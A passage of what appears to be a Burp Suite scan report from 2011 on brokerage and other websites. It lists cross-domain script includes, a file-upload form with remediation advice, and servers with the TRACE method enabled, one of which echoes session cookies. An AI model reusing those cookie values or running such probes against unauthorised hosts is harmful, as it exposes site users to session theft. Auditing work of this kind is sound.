Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:49:38 GMT
Server: Apache
Content-Length: 41754
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title></title>
<meta name="description" content="">
<meta name=
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.80. http://www.interactivebrokers.com/en/pagemap/pagemap_trading_platforms.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/pagemap/pagemap_trading_platforms.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/pagemap/pagemap_trading_platforms.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:49:39 GMT
Server: Apache
Content-Length: 42379
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Trading Platforms</title>
<meta name="description" conten
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.81. http://www.interactivebrokers.com/en/pagemap/pagemap_webinars.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/pagemap/pagemap_webinars.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/pagemap/pagemap_webinars.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:49:31 GMT
Server: Apache
Content-Length: 36461
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>Webinar
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.82. http://www.interactivebrokers.com/en/pagemap/pagemap_whyib.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/pagemap/pagemap_whyib.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/pagemap/pagemap_whyib.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:49:38 GMT
Server: Apache
Content-Length: 39796
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title> </title>
<meta name="description" content="Learn ab
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.83. http://www.interactivebrokers.com/en/site_map.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/site_map.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/site_map.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:47:00 GMT
Server: Apache
Content-Length: 49414
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>Site Map
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.84. http://www.interactivebrokers.com/en/software/downloadPlugin.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/software/downloadPlugin.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/software/downloadPlugin.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:47:02 GMT
Server: Apache
Content-Length: 41297
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Java Upgrade Instructions</title>
<meta name="description
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.85. http://www.interactivebrokers.com/en/software/pdfhighlights/PDF-FxTrader.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/software/pdfhighlights/PDF-FxTrader.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/software/pdfhighlights/PDF-FxTrader.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:47:01 GMT
Server: Apache
Content-Length: 40212
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>FXTrader Product Highlights</title>
<meta name="descripti
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.86. http://www.interactivebrokers.com/en/software/pdfhighlights/PDF-StatementsandReports.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/software/pdfhighlights/PDF-StatementsandReports.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/software/pdfhighlights/PDF-StatementsandReports.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:49:53 GMT
Server: Apache
Content-Length: 45090
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Statements and Reports Product Highlights</title>
<meta n
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.87. http://www.interactivebrokers.com/en/software/pdfhighlights/PDF-TechAnalytics.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/software/pdfhighlights/PDF-TechAnalytics.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/software/pdfhighlights/PDF-TechAnalytics.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:47:01 GMT
Server: Apache
Content-Length: 42697
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Technical Analytics Product Highlights</title>
<meta name
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.88. http://www.interactivebrokers.com/en/software/systemStatus.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/software/systemStatus.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/software/systemStatus.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:47:01 GMT
Server: Apache
Content-Length: 40161
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>Current
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.89. http://www.interactivebrokers.com/en/software/twsDisclaimer.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/software/twsDisclaimer.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/software/twsDisclaimer.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:47:01 GMT
Server: Apache
Content-Length: 38466
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>TWS Login</title>
<meta name="description" content="Login
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.90. http://www.interactivebrokers.com/en/software/twsPrevious.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/software/twsPrevious.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/software/twsPrevious.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:05 GMT
Server: Apache
Content-Length: 38204
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>TWS Previous Version</title>
<meta name="description" con
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.91. http://www.interactivebrokers.com/en/software/twsTutorial.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/software/twsTutorial.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/software/twsTutorial.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:47:01 GMT
Server: Apache
Content-Length: 45450
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>Interac
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.92. http://www.interactivebrokers.com/en/trading/holidayAndExpirationCalendar.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/trading/holidayAndExpirationCalendar.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/trading/holidayAndExpirationCalendar.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:50 GMT
Server: Apache
Content-Length: 38957
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>2011 Traders' Holiday and Expiration Date Calendar</title
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.93. http://www.interactivebrokers.com/en/trading/pdfhighlights/PDF-Forex.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/trading/pdfhighlights/PDF-Forex.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

Response

17.94. http://www.interactivebrokers.com/en/trading/pdfhighlights/PDF-OptionsDesk.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/trading/pdfhighlights/PDF-OptionsDesk.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/trading/pdfhighlights/PDF-OptionsDesk.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:47:06 GMT
Server: Apache
Content-Length: 39379
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Options Trade Desk</title>
<meta name="description" conte
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.95. http://www.interactivebrokers.com/en/trading/productsupdates.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/trading/productsupdates.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/trading/productsupdates.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:50 GMT
Server: Apache
Content-Length: 368207
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>New Pro
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.96. http://www.interactivebrokers.com/futures/images/sitetemplate/printHeader.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/futures/images/sitetemplate/printHeader.gif

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /futures/images/sitetemplate/printHeader.gif HTTP/1.1
Host: www.interactivebrokers.com
Proxy-Connection: keep-alive
Referer: http://www.interactivebrokers.com/futures/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ib=googlead; web=1059282

Response

HTTP/1.1 404 Not Found
Date: Thu, 08 Sep 2011 19:24:41 GMT
Server: Apache
Connection: close
Content-Type: text/html
Content-Length: 35716

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>Interact
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.97. http://www.interactivebrokers.com/html/help/contact.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/html/help/contact.html

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /html/help/contact.html HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Thu, 08 Sep 2011 19:47:06 GMT
Server: Apache
Connection: close
Content-Type: text/html
Content-Length: 35644

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>Interact
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.98. https://www.interactivebrokers.com/cstools/ib_app_help/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.interactivebrokers.com
Path:	/cstools/ib_app_help/

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

Response

17.99. https://www.interactivebrokers.com/jsp/Registration_v3/showScreenPreReg.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.interactivebrokers.com
Path:	/jsp/Registration_v3/showScreenPreReg.jsp

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /jsp/Registration_v3/showScreenPreReg.jsp HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Thu, 08 Sep 2011 19:49:05 GMT
Server: Apache
Connection: close
Content-Type: text/html
Content-Length: 35662

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>Interact
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.100. http://www.optioneducation.net/select/direct_login.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optioneducation.net
Path:	/select/direct_login.asp

Issue detail

The response dynamically includes the following scripts from other domains:

http://www.optionseducation.org/institutional/components/js/global.js
https://secure.888optionsnet.com/omniture/s_code.js

Request

GET /select/direct_login.asp HTTP/1.1
Host: www.optioneducation.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Thu, 08 Sep 2011 19:45:17 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 10209
Content-Type: text/html
Expires: Thu, 08 Sep 2011 19:44:17 GMT
Cache-control: private

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<title>OIC</titl
...[SNIP]...
<meta name="FreeFind" content="noQueries">
<script language="javascript" src="http://www.optionseducation.org/institutional/components/js/global.js" type="text/javascript"></script>
...[SNIP]...


<script language="JavaScript" src="https://secure.888optionsnet.com/omniture/s_code.js" type="text/javascript"></script>
...[SNIP]...

17.101. http://www.pfgbest.com/link/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pfgbest.com
Path:	/link/

Issue detail

The response dynamically includes the following scripts from other domains:

http://www.googleadservices.com/pagead/conversion.js
https://server.iad.liveperson.net/hc/82583755/?cmd=mTagRepstate&site=82583755&buttonID=13&divID=lpButDivID-1295365814291&bt=1&c=1

Request

GET /link/ HTTP/1.1
Host: www.pfgbest.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Thu, 08 Sep 2011 19:47:15 GMT
X-Powered-By: ASP.NET
X-UA-Compatible: IE=EmulateIE7
Connection: close
Content-Length: 60963
Content-Type: text/html
Expires: Thu, 08 Sep 2011 19:47:16 GMT
Cache-control: private

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Cont
...[SNIP]...
</div>
<script type="text/javascript" charset="UTF-8" src="https://server.iad.liveperson.net/hc/82583755/?cmd=mTagRepstate&site=82583755&buttonID=13&divID=lpButDivID-1295365814291&bt=1&c=1"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js">
</script>
...[SNIP]...

17.102. http://www.pfgbest.com/toolkit/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pfgbest.com
Path:	/toolkit/

Issue detail

The response dynamically includes the following script from another domain:

https://server.iad.liveperson.net/hc/82583755/?cmd=mTagRepstate&site=82583755&buttonID=13&divID=lpButDivID-1295365814291&bt=1&c=1

Request

GET /toolkit/ HTTP/1.1
Host: www.pfgbest.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Thu, 08 Sep 2011 19:47:16 GMT
X-Powered-By: ASP.NET
X-UA-Compatible: IE=EmulateIE7
Connection: close
Content-Length: 74426
Content-Type: text/html
Cache-control: private

<head>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en
...[SNIP]...
</div>
<script type="text/javascript" charset="UTF-8" src="https://server.iad.liveperson.net/hc/82583755/?cmd=mTagRepstate&site=82583755&buttonID=13&divID=lpButDivID-1295365814291&bt=1&c=1"></script>
...[SNIP]...

17.103. http://www.transworldfutures.com/Commodity.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.transworldfutures.com
Path:	/Commodity.html

Issue detail

The response dynamically includes the following script from another domain:

http://es.needtoknownews.com/embedded-client/mini-client.js

Request

GET /Commodity.html HTTP/1.1
Host: www.transworldfutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

17.104. http://www.transworldfutures.com/quotes.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.transworldfutures.com
Path:	/quotes.html

Issue detail

The response dynamically includes the following script from another domain:

http://transworld.websol.barchart.com/main.php?page=default

Request

GET /quotes.html HTTP/1.1
Host: www.transworldfutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

17.105. http://www.youtube.com/results previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.youtube.com
Path:	/results

Issue detail

The response dynamically includes the following script from another domain:

http://s.ytimg.com/yt/jsbin/www-core-vfl57CIPm.js

Request

GET /results HTTP/1.1
Host: www.youtube.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

18. File upload functionality previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://translate.google.com
Path:	/

Issue detail

The page contains a form which is used to submit a user-supplied file to the following URL:

http://translate.google.com/

Note that Burp has not identified any specific security vulnerabilities with this functionality, and you should manually review it to determine whether any problems exist.

Issue background

File upload functionality is commonly associated with a number of vulnerabilities, including:

File path traversal
Persistent cross-site scripting
Placing of other client-executable code into the domain
Transmission of viruses and other malware
Denial of service

You should review the file upload functionality to understand its purpose, and establish whether uploaded content is ever returned to other application users, either through their normal usage of the application or by being fed a specific link by an attacker.

Some factors to consider when evaluating the security impact of this functionality include:

Whether uploaded content can subsequently be downloaded via a URL within the application.
What Content-type and Content-disposition headers the application returns when the file's content is downloaded.
Whether it is possible to place executable HTML/JavaScript into the file, which executes when the file's contents are viewed.
Whether the application performs any filtering on the file extension or MIME type of the uploaded file.
Whether it is possible to construct a hybrid file containing both executable and non-executable content, to bypass any content filters - for example, a file containing both a GIF image and a Java archive (known as a GIFAR file).
What location is used to store uploaded content, and whether it is possible to supply a crafted filename to escape from this location.
Whether archive formats such as ZIP are unpacked by the application.
How the application handles attempts to upload very large files, or decompression bomb files.

Issue remediation

File upload functionality is not straightforward to implement securely. Some recommendations to consider in the design of this functionality include:

Use a server-generated filename if storing uploaded files on disk.
Inspect the content of uploaded files, and enforce a whitelist of accepted, non-executable content types. Additionally, enforce a blacklist of common executable formats, to hinder hybrid file attacks.
Enforce a whitelist of accepted, non-executable file extensions.
If uploaded files are downloaded by users, supply an accurate non-generic Content-type header, and also a Content-disposition header which specifies that browsers should handle the file as an attachment.
Enforce a size limit on uploaded files (for defence-in-depth, this can be implemented both within application code and in the web server's configuration.
Reject attempts to upload archive formats such as ZIP.

Request

GET / HTTP/1.1
Host: translate.google.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

19. TRACE method is enabled previous next
There are 16 instances of this issue:

https://cwt1.interactivebrokers.com/
http://picasaweb.google.com/
http://pixel.everesttech.net/
http://shared.websol.barchart.com/
http://tracking.hubspot.com/
http://transworld.websol.barchart.com/
http://webstation.barchart.com/
http://www.adventuresinsoftware.com/
https://www.barchart.com/
http://www.efutures.com/
https://www.efutures.com/
http://www.farrdirect.com/
http://www.interactivebrokers.co.uk/
http://www.pfgbest.com/
http://www.zumo.com/
http://www2.daytrade4less.com/

Issue description

The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.

Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.

Issue remediation

The TRACE method should be disabled on the web server.

19.1. https://cwt1.interactivebrokers.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://cwt1.interactivebrokers.com
Path:	/

Request

TRACE / HTTP/1.0
Host: cwt1.interactivebrokers.com
Cookie: c00e9a36cc349c80

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:54:16 GMT
Server: apache
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: cwt1.interactivebrokers.com
Cookie: c00e9a36cc349c80; JSESSIONID=43432232C2326D8E555EE88F49599B36.cwt1; sk=value:ibg-dark; ib=googlead; XYZAB_AM.LOGIN=; XYZAB=; web=1059282; has_js=1; __utma=147369967.1088263884.1315529659.1315529659.1315529659.1; __utm
...[SNIP]...

19.2. http://picasaweb.google.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
